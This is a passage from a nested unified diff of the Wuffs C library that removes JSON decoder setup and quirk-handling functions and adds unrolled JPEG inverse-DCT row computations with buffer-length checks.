((uint32_t)(v_ri71 + v_rl51)); ++ v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); ++ v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); ++ v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); + } ++ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); + } +- +- self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__token_decoder.vtable_name = +- wuffs_base__token_decoder__vtable_name; +- self->private_impl.vtable_for__wuffs_base__token_decoder.function_pointers = +- (const void*)(&wuffs_json__decoder__func_ptrs_for__wuffs_base__token_decoder); +- return wuffs_base__make_status(NULL); +-} +- +-wuffs_json__decoder* +-wuffs_json__decoder__alloc(void) { +- wuffs_json__decoder* x = +- (wuffs_json__decoder*)(calloc(sizeof(wuffs_json__decoder), 1)); +- if (!x) { +- return NULL; +- } +- if (wuffs_json__decoder__initialize( +- x, sizeof(wuffs_json__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { +- free(x); +- return NULL; +- } +- return x; +-} +- +-size_t +-sizeof__wuffs_json__decoder(void) { +- return sizeof(wuffs_json__decoder); +-} +- +-// ---------------- Function Implementations +- +-// -------- func json.decoder.get_quirk +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_json__decoder__get_quirk( +- const wuffs_json__decoder* self, +- uint32_t a_key) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- uint32_t v_key = 0; +- +- if (a_key >= 1225364480u) { +- v_key = (a_key - 1225364480u); +- if (v_key < 21u) { +- if (self->private_impl.f_quirks[v_key]) { +- return 1u; +- } ++ if (0u == (v_intermediate[25u] | ++ v_intermediate[26u] | ++ v_intermediate[27u] | ++ v_intermediate[28u] | ++ v_intermediate[29u] | ++ v_intermediate[30u] | ++ v_intermediate[31u])) { ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); + } +- } +- return 0u; +-} +- +-// -------- func json.decoder.set_quirk +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_json__decoder__set_quirk( +- wuffs_json__decoder* self, +- uint32_t a_key, +- uint64_t a_value) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- +- if (a_key >= 1225364480u) { +- a_key -= 1225364480u; +- if (a_key < 21u) { +- self->private_impl.f_quirks[a_key] = (a_value > 0u); +- return wuffs_base__make_status(NULL); ++ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[24u] + 16u)) >> 5u) & 1023u)]; ++ a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); ++ } else { ++ v_in2 = v_intermediate[26u]; ++ v_in6 = v_intermediate[30u]; ++ v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); ++ v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); ++ v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); ++ v_in0 = v_intermediate[24u]; ++ v_in4 = v_intermediate[28u]; ++ v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); ++ v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); ++ v_rd0 = ((uint32_t)(v_rcp + v_rb2)); ++ v_rd1 = ((uint32_t)(v_rcm + v_rb6)); ++ v_rd2 = ((uint32_t)(v_rcm - v_rb6)); ++ v_rd3 = ((uint32_t)(v_rcp - v_rb2)); ++ v_in1 = v_intermediate[25u]; ++ v_in3 = v_intermediate[27u]; ++ v_in5 = v_intermediate[29u]; ++ v_in7 = v_intermediate[31u]; ++ v_ri51 = ((uint32_t)(v_in5 + v_in1)); ++ v_ri53 = ((uint32_t)(v_in5 + v_in3)); ++ v_ri71 = ((uint32_t)(v_in7 + v_in1)); ++ v_ri73 = ((uint32_t)(v_in7 + v_in3)); ++ v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); ++ v_rk1 = ((uint32_t)(v_in1 * 12299u)); ++ v_rk3 = ((uint32_t)(v_in3 * 25172u)); ++ v_rk5 = ((uint32_t)(v_in5 * 16819u)); ++ v_rk7 = ((uint32_t)(v_in7 * 2446u)); ++ v_ri51 *= 4294964100u; ++ v_ri53 *= 4294946301u; ++ v_ri71 *= 4294959923u; ++ v_ri73 *= 4294951227u; ++ v_rl51 = ((uint32_t)(v_ri51 + v_rj)); ++ v_rl73 = ((uint32_t)(v_ri73 + v_rj)); ++ v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); ++ v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); ++ v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); ++ v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); + } ++ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); + } +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); +-} +- +-// -------- func json.decoder.history_retain_length +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_json__decoder__history_retain_length( +- const wuffs_json__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ if (0u == (v_intermediate[33u] | ++ v_intermediate[34u] | ++ v_intermediate[35u] | ++ v_intermediate[36u] | ++ v_intermediate[37u] | ++ v_intermediate[38u] | ++ v_intermediate[39u])) { ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[32u] + 16u)) >> 5u) & 1023u)]; ++ a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); ++ } else { ++ v_in2 = v_intermediate[34u]; ++ v_in6 = v_intermediate[38u]; ++ v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); ++ v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); ++ v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); ++ v_in0 = v_intermediate[32u]; ++ v_in4 = v_intermediate[36u]; ++ v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); ++ v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); ++ v_rd0 = ((uint32_t)(v_rcp + v_rb2)); ++ v_rd1 = ((uint32_t)(v_rcm + v_rb6)); ++ v_rd2 = ((uint32_t)(v_rcm - v_rb6)); ++ v_rd3 = ((uint32_t)(v_rcp - v_rb2)); ++ v_in1 = v_intermediate[33u]; ++ v_in3 = v_intermediate[35u]; ++ v_in5 = v_intermediate[37u]; ++ v_in7 = v_intermediate[39u]; ++ v_ri51 = ((uint32_t)(v_in5 + v_in1)); ++ v_ri53 = ((uint32_t)(v_in5 + v_in3)); ++ v_ri71 = ((uint32_t)(v_in7 + v_in1)); ++ v_ri73 = ((uint32_t)(v_in7 + v_in3)); ++ v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); ++ v_rk1 = ((uint32_t)(v_in1 * 12299u)); ++ v_rk3 = ((uint32_t)(v_in3 * 25172u)); ++ v_rk5 = ((uint32_t)(v_in5 * 16819u)); ++ v_rk7 = ((uint32_t)(v_in7 * 2446u)); ++ v_ri51 *= 4294964100u; ++ v_ri53 *= 4294946301u; ++ v_ri71 *= 4294959923u; ++ v_ri73 *= 4294951227u; ++ v_rl51 = ((uint32_t)(v_ri51 + v_rj)); ++ v_rl73 = ((uint32_t)(v_ri73 + v_rj)); ++ v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); ++ v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); ++ v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); ++ v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); + } +- +- return 0u; +-} +- +-// -------- func json.decoder.workbuf_len +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_json__decoder__workbuf_len( +- const wuffs_json__decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_range_ii_u64(); ++ if (0u == (v_intermediate[41u] | ++ v_intermediate[42u] | ++ v_intermediate[43u] | ++ v_intermediate[44u] | ++ v_intermediate[45u] | ++ v_intermediate[46u] | ++ v_intermediate[47u])) { ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[40u] + 16u)) >> 5u) & 1023u)]; ++ a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); ++ } else { ++ v_in2 = v_intermediate[42u]; ++ v_in6 = v_intermediate[46u]; ++ v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); ++ v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); ++ v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); ++ v_in0 = v_intermediate[40u]; ++ v_in4 = v_intermediate[44u]; ++ v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); ++ v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); ++ v_rd0 = ((uint32_t)(v_rcp + v_rb2)); ++ v_rd1 = ((uint32_t)(v_rcm + v_rb6)); ++ v_rd2 = ((uint32_t)(v_rcm - v_rb6)); ++ v_rd3 = ((uint32_t)(v_rcp - v_rb2)); ++ v_in1 = v_intermediate[41u]; ++ v_in3 = v_intermediate[43u]; ++ v_in5 = v_intermediate[45u]; ++ v_in7 = v_intermediate[47u]; ++ v_ri51 = ((uint32_t)(v_in5 + v_in1)); ++ v_ri53 = ((uint32_t)(v_in5 + v_in3)); ++ v_ri71 = ((uint32_t)(v_in7 + v_in1)); ++ v_ri73 = ((uint32_t)(v_in7 + v_in3)); ++ v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); ++ v_rk1 = ((uint32_t)(v_in1 * 12299u)); ++ v_rk3 = ((uint32_t)(v_in3 * 25172u)); ++ v_rk5 = ((uint32_t)(v_in5 * 16819u)); ++ v_rk7 = ((uint32_t)(v_in7 * 2446u)); ++ v_ri51 *= 4294964100u; ++ v_ri53 *= 4294946301u; ++ v_ri71 *= 4294959923u; ++ v_ri73 *= 4294951227u; ++ v_rl51 = ((uint32_t)(v_ri51 + v_rj)); ++ v_rl73 = ((uint32_t)(v_ri73 + v_rj)); ++ v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); ++ v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); ++ v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); ++ v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); + } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_range_ii_u64(); ++ if (0u == (v_intermediate[49u] | ++ v_intermediate[50u] | ++ v_intermediate[51u] | ++ v_intermediate[52u] | ++ v_intermediate[53u] | ++ v_intermediate[54u] | ++ v_intermediate[55u])) { ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[48u] + 16u)) >> 5u) & 1023u)]; ++ a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); ++ } else { ++ v_in2 = v_intermediate[50u]; ++ v_in6 = v_intermediate[54u]; ++ v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); ++ v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); ++ v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); ++ v_in0 = v_intermediate[48u]; ++ v_in4 = v_intermediate[52u]; ++ v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); ++ v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); ++ v_rd0 = ((uint32_t)(v_rcp + v_rb2)); ++ v_rd1 = ((uint32_t)(v_rcm + v_rb6)); ++ v_rd2 = ((uint32_t)(v_rcm - v_rb6)); ++ v_rd3 = ((uint32_t)(v_rcp - v_rb2)); ++ v_in1 = v_intermediate[49u]; ++ v_in3 = v_intermediate[51u]; ++ v_in5 = v_intermediate[53u]; ++ v_in7 = v_intermediate[55u]; ++ v_ri51 = ((uint32_t)(v_in5 + v_in1)); ++ v_ri53 = ((uint32_t)(v_in5 + v_in3)); ++ v_ri71 = ((uint32_t)(v_in7 + v_in1)); ++ v_ri73 = ((uint32_t)(v_in7 + v_in3)); ++ v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); ++ v_rk1 = ((uint32_t)(v_in1 * 12299u)); ++ v_rk3 = ((uint32_t)(v_in3 * 25172u)); ++ v_rk5 = ((uint32_t)(v_in5 * 16819u)); ++ v_rk7 = ((uint32_t)(v_in7 * 2446u)); ++ v_ri51 *= 4294964100u; ++ v_ri53 *= 4294946301u; ++ v_ri71 *= 4294959923u; ++ v_ri73 *= 4294951227u; ++ v_rl51 = ((uint32_t)(v_ri51 + v_rj)); ++ v_rl73 = ((uint32_t)(v_ri73 + v_rj)); ++ v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); ++ v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); ++ v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); ++ v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); + } +- +- return wuffs_base__utility__empty_range_ii_u64(); ++ if (0u == (v_intermediate[57u] | ++ v_intermediate[58u] | ++ v_intermediate[59u] | ++ v_intermediate[60u] | ++ v_intermediate[61u] | ++ v_intermediate[62u] | ++ v_intermediate[63u])) { ++ if (8u > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[56u] + 16u)) >> 5u) & 1023u)]; ++ a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; ++ } else { ++ v_in2 = v_intermediate[58u]; ++ v_in6 = v_intermediate[62u]; ++ v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); ++ v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); ++ v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); ++ v_in0 = v_intermediate[56u]; ++ v_in4 = v_intermediate[60u]; ++ v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); ++ v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); ++ v_rd0 = ((uint32_t)(v_rcp + v_rb2)); ++ v_rd1 = ((uint32_t)(v_rcm + v_rb6)); ++ v_rd2 = ((uint32_t)(v_rcm - v_rb6)); ++ v_rd3 = ((uint32_t)(v_rcp - v_rb2)); ++ v_in1 = v_intermediate[57u]; ++ v_in3 = v_intermediate[59u]; ++ v_in5 = v_intermediate[61u]; ++ v_in7 = v_intermediate[63u]; ++ v_ri51 = ((uint32_t)(v_in5 + v_in1)); ++ v_ri53 = ((uint32_t)(v_in5 + v_in3)); ++ v_ri71 = ((uint32_t)(v_in7 + v_in1)); ++ v_ri73 = ((uint32_t)(v_in7 + v_in3)); ++ v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); ++ v_rk1 = ((uint32_t)(v_in1 * 12299u)); ++ v_rk3 = ((uint32_t)(v_in3 * 25172u)); ++ v_rk5 = ((uint32_t)(v_in5 * 16819u)); ++ v_rk7 = ((uint32_t)(v_in7 * 2446u)); ++ v_ri51 *= 4294964100u; ++ v_ri53 *= 4294946301u; ++ v_ri71 *= 4294959923u; ++ v_ri73 *= 4294951227u; ++ v_rl51 = ((uint32_t)(v_ri51 + v_rj)); ++ v_rl73 = ((uint32_t)(v_ri73 + v_rj)); ++ v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); ++ v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); ++ v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); ++ v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); ++ if (8u > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[3u] = 